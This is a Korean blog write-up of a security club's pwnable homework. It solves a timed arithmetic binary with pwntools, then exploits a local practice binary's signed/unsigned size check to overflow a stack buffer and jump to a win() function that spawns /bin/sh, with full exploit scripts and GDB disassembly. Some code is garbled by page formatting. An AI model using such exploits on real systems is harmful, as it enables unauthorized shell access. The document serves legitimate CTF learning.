보안 공부/[동아리]

[동아리] Pay1oad_PWNABLE 2주차 과제

jjingjjing-2 2024. 10. 6. 17:06

1. mic_check 폴더 안에 있는 mic 바이너리를 실행하여 pwntools Master!!! 출력하기

먼저 코드를 확인해보겠다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
#include <stdio.h>
#include <stdlib.h>
#include <sys/select.h>
#include <unistd.h>
#include <time.h>
 
void init() {
    setvbuf(stdin, 020);
    setvbuf(stdout, 020);
}
 
int main() {
    init();
 
    int num1, num2, userInput, i;
    fd_set readfds;
    struct timeval tv;
 
    srand(time(NULL));
 
    for (i = 0; i < 20; i++) {
        num1 = rand() % 10;
        num2 = rand() % 10;
 
        printf("%d: %d * %d : ", i + 1, num1, num2);
 
        // select()를 이용하여 0.2초 동안 입력을 기다림
        FD_ZERO(&readfds);
        FD_SET(STDIN_FILENO, &readfds);
 
        tv.tv_sec = 0;
        tv.tv_usec = 200000;  // 0.2초 = 200,000 마이크로초
 
        int ret = select(STDIN_FILENO + 1&readfds, NULLNULL&tv);
 
        if (ret == -1) {
            perror("select");
            exit(EXIT_FAILURE);
        } else if (ret == 0) {
            printf("timeout\n");
            exit(EXIT_FAILURE);
        } else {
            if (FD_ISSET(STDIN_FILENO, &readfds)) {
                scanf("%d"&userInput);
 
                if (userInput == num1 * num2) {
                    printf("correct!\n");
                } else {
                    printf("wrong\n");
                    exit(EXIT_FAILURE);
                }
            }
        }
    }
 
    printf("pwntools Master!!!\n");
    return 0;
}
cs

간단하게 코드를 분석을 해보자면 20번 동안 랜덤한 숫자 두 개를 곱한 값을 맞춰야 pwntools Master!!!라는 메세지가 출력되는 것을 알 수 있다. 

'1: 6 * 5 : '라는 값이 먼저 나오고 timeout이라는 메세지가 나온다. 먼저 이 문자열을 받아서 저장하고 index를 이용하여 내가 원하는 숫자를 추출하고 그 값을 곱하면 쉽게 해결할 수 있을 것 같다. 먼저 문자열을 받고 숫자를 추출하는 과정의 코드를 짜보겠다.

1
2
3
4
5
6
7
from pwn import *
 
= process("./mic")
 
mul = str(p.recvuntil(b' : '))
num1 = int(mul[5])
num2 = int(mul[9])
cs

이해하기 쉽게 '1 : 6 * 5 : '을 예시로 설명하겠다. p.recvuntil(b' : ')은 ' : '로 끝나는 문자열 전체를 받는 명령어로 문자열 전체를 mul에 저장을 했다. mul[5]를 넣은 이유는 문자열을 받을 때 b'1: 6 * 5 :  '이런 식으로 받아오기 때문에 mul[5]라고 설정하여 6을 num1에 넣었다. num2도 이와 같은 방식으로 저장했다. 

 

이제 num1과 num2를 곱하고 값을 보내면 메세지 출력할 수 있을 것이다. 

1
2
result = num1 * num2
p.sendline(str(result))
cs

이런 식으로 진행하면 된다. sendline을 쓴 이유는 scanf로 값을 받기 때문에 개행문자가 포함되어 있어야 한다.

 

오류가 났다. 생각을 해보니 10 이상의 수부터는 문자열이 하나씩 밀리기 때문에 index 값을 재설정해야 한다. 조건문을 설정하여 코드를 다시 짜보겠다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
for i in range(20):
    if(i < 9):
        mul = str(p.recvuntil(b' : '))
        num1 = int(mul[5])
        num2 = int(mul[9])
        result = num1 * num2
        p.sendline(str(result))
        print(p.recvline())
    else:
        mul = str(p.recvuntil(b' : '))
        num1 = int(mul[6])
        num2 = int(mul[10])
        result = num1 * num2
        p.sendline(str(result))
        print(p.recvline())
 
cs

다시 실행해보겠다.

메세지 출력에 성공했다.

 

전체코드

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
from pwn import *
 
= process("./mic")
 
for i in range(20):
    if(i < 9):
        mul = str(p.recvuntil(b' : ')) # ' : '로 끝나는 문자열 전체를 받음
        num1 = int(mul[5]) #num1 숫자를 받아옴
        num2 = int(mul[9]) #num2 숫자를 받아옴
        result = num1 * num2
        p.sendline(str(result))
        print(p.recvline())
    else:
        mul = str(p.recvuntil(b' : '))
        num1 = int(mul[6])
        num2 = int(mul[10])
        result = num1 * num2
        p.sendline(str(result))
        print(p.recvline())
 
print(p.recvall()) # 메세지 출력
cs

2. bof_basic 폴더 안에 있는 bof_basic 바이너리를 익스플로잇하여 flag 출력하기

제공된 파일에 소스코드와 flag 값만 존재하여 소스코드를 IDA에 넣어 정적분석을 먼저 해보겠다. 어셈블리어로 보면 해석하기 힘들기 때문에 디컴파일을 하여 보기 쉽게 바꿔보겠다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
int __fastcall main(int argc, const char **argv, const char **envp)
{
  char buf[28]; // [rsp+0h] [rbp-20h] BYREF
  size_t nbytes; // [rsp+1Ch] [rbp-4h] BYREF
 
  init(argc, argv, envp);
  LODWORD(nbytes) = 0;
  printf("Input Size: ");
  __isoc99_scanf("%d"&nbytes);
  if ( (int)nbytes > 19 )
  {
    puts("Too Big!!");
    exit(-1);
  }
  printf("Input buf: ");
  read(0, buf, (unsigned int)nbytes);
  printf("%s", buf);
  return 0;
}
cs

취약점을 찾으면 read(0, buf, (unsigned int)nbytes) 이 부분이다. 왜냐하면 buf의 크기보다 큰 값을 nbytes에 넣으면 BOF가 발생할 수 있기 때문이다. if( (int)nbytes > 19)이 조건 때문에 단순한 방법으로는 BOF가 발생하기는 힘들 것 같다. 그래서 다른 부분을 살펴보겠다.

 

size_t 이 부분이 중요할 것 같다. size_t는 unsigned int로 사용되는데 unsigned int는 양수와 0만 표현이 가능하다. -1을 넣으면 가장 큰 값을 넣은 것처럼 판별이 된다. 즉 -1을 넣으면 BOF가 발생할 수 있다는 것이다. int로 변형하면 -1로 표현이 되지만 read에서는 가장 큰 수로 넣은 것처럼 되기 때문에 BOF가 발생할 수 있다.

 

IDA를 통해 보니 win이라는 함수가 존재한다. 이 함수를 한 번 살펴보겠다.

1
2
3
4
5
6
7
8
int win()
{
  char *path[2]; // [rsp+0h] [rbp-10h] BYREF
 
  path[0] = "/bin/sh";
  path[1] = 0LL;
  return execv("/bin/sh", path);
}
cs

간단하게 설명하면 셸을 얻을 수 있는 함수이다. 익스코드를 설계할 때 이 함수의 주소도 넣어야 flag를 읽을 수 있다.

 

GDB를 사용하여 스택 프레임을 그려 익스코드를 설계해 보겠다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
   0x0000000000401272 <+0>:     endbr64
   0x0000000000401276 <+4>:     push   rbp
   0x0000000000401277 <+5>:     mov    rbp,rsp
   0x000000000040127a <+8>:     sub    rsp,0x20
   0x000000000040127e <+12>:    mov    eax,0x0
   0x0000000000401283 <+17>:    call   0x4011f6 <init>
   0x0000000000401288 <+22>:    mov    DWORD PTR [rbp-0x4],0x0
   0x000000000040128f <+29>:    lea    rax,[rip+0xd76]        # 0x40200c
   0x0000000000401296 <+36>:    mov    rdi,rax
   0x0000000000401299 <+39>:    mov    eax,0x0
   0x000000000040129e <+44>:    call   0x4010b0 <printf@plt>
   0x00000000004012a3 <+49>:    lea    rax,[rbp-0x4]
   0x00000000004012a7 <+53>:    mov    rsi,rax
   0x00000000004012aa <+56>:    lea    rax,[rip+0xd68]        # 0x402019
   0x00000000004012b1 <+63>:    mov    rdi,rax
   0x00000000004012b4 <+66>:    mov    eax,0x0
   0x00000000004012b9 <+71>:    call   0x4010e0 <__isoc99_scanf@plt>
cs

먼저 rsp는 [rbp-0x20] 위치에 존재한다는 것을 알 수 있다. [rbp -0x4]에 0을 채워 넣고 'Input Size: '라는 메세지를 출력한다. scanf부분을 보면 입력받은 값을 [rbp-0x4]부분에 넣는 것으로 보아 [rbp-0x4]는 nbytes라는 것을 알 수 있다. 

1
2
3
4
5
6
7
8
9
10
11
   0x00000000004012c1 <+79>:    cmp    eax,0x13
   0x00000000004012c4 <+82>:    jle    0x4012df <main+109>
   0x00000000004012c6 <+84>:    lea    rax,[rip+0xd4f]        # 0x40201c
   0x00000000004012cd <+91>:    mov    rdi,rax
   0x00000000004012d0 <+94>:    call   0x4010a0 <puts@plt>
   0x00000000004012d5 <+99>:    mov    edi,0xffffffff
   0x00000000004012da <+104>:   call   0x4010f0 <exit@plt>
   0x00000000004012df <+109>:   lea    rax,[rip+0xd40]        # 0x402026
   0x00000000004012e6 <+116>:   mov    rdi,rax
   0x00000000004012e9 <+119>:   mov    eax,0x0
   0x00000000004012ee <+124>:   call   0x4010b0 <printf@plt>
cs

nbytes 같은 0x13(19)과 비교하여 0x13보다 작으면 main+109로 이동하고 클 경우에는 프로그램이 종료된다. main+109에서는 'Input buf: '라는 값을 출력하는 것을 알 수 있다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
   0x00000000004012f3 <+129>:   mov    edx,DWORD PTR [rbp-0x4]
   0x00000000004012f6 <+132>:   lea    rax,[rbp-0x20]
   0x00000000004012fa <+136>:   mov    rsi,rax
   0x00000000004012fd <+139>:   mov    edi,0x0
   0x0000000000401302 <+144>:   mov    eax,0x0
   0x0000000000401307 <+149>:   call   0x4010c0 <read@plt>
   0x000000000040130c <+154>:   lea    rax,[rbp-0x20]
   0x0000000000401310 <+158>:   mov    rsi,rax
   0x0000000000401313 <+161>:   lea    rax,[rip+0xd18]        # 0x402032
   0x000000000040131a <+168>:   mov    rdi,rax
   0x000000000040131d <+171>:   mov    eax,0x0
   0x0000000000401322 <+176>:   call   0x4010b0 <printf@plt>
   0x0000000000401327 <+181>:   mov    eax,0x0
   0x000000000040132c <+186>:   leave
   0x000000000040132d <+187>:   ret
cs

이제 read 함수가 작동하는데 nbytes만큼의 길이를 저장하고 [rbp-0x20]에 입력한 값을 저장한다. 그 후로 저장한 값을 출력한다. 스택프레임을 한 번 그려보겠다.

익스코드를 짤 때 0x20 + 0x8만큼의 dummy 값을 넣고 win의 함수 주소를 넣으면 쉽게 해결될 것 같다. 익스코드를 짜보겠다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
from pwn import *
 
= process("./bof_basic")
= ELF("./bof_basic")
 
win = e.symbols['win']
 
num = b'-1'
p.sendline(num)
 
payload = b'a' * 0x20 + b'b' * 0x8 + p64(win)
p.send(payload)
 
p.interactive()
 
cs

먼저 심볼을 이용하여 win의 함수 주소를 변수에 저장했다. 그 후 nbytes의 값을 입력할 때 -1을 넣었다. 0x20 + 0x8 + win의 함수 주소를 넣은 값을 보내서 셸을 얻을 수 있는 코드를 짰다.

flag가 출력되었다. 

 

여담

본 화자는 처음부터 이런 식으로 푼 것이 아니라 오버플로우를 일으켜서 풀었다. 아마 최댓값을 넣어서 -1 취급을 당해서 익스하는 것에 성공한 것 같다. gdb.attach를 통해 확인해 보겠다. 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
from pwn import *
 
= process("./bof_basic")
= ELF("./bof_basic")
 
gdb.attach(p)
win = e.symbols['win']
 
num = b'19'*0x10
p.sendline(num)
 
payload = b'a' * 0x20 + b'b' * 0x8 + p64(win)
p.send(payload)
 
p.interactive()
cs

이 부분을 보면 0xffffffff와 0x13을 빼는 것을 알 수 있다. 0xffffffff는 4,294,967,295이 값으로 int를 넘는 값이다. 즉 시스템상으로 int범위를 넘어 unsigned int로 취급받아 자연스럽게 조건을 통과한다. 나머지 설명은 위 설명과 같으므로 생략하겠다.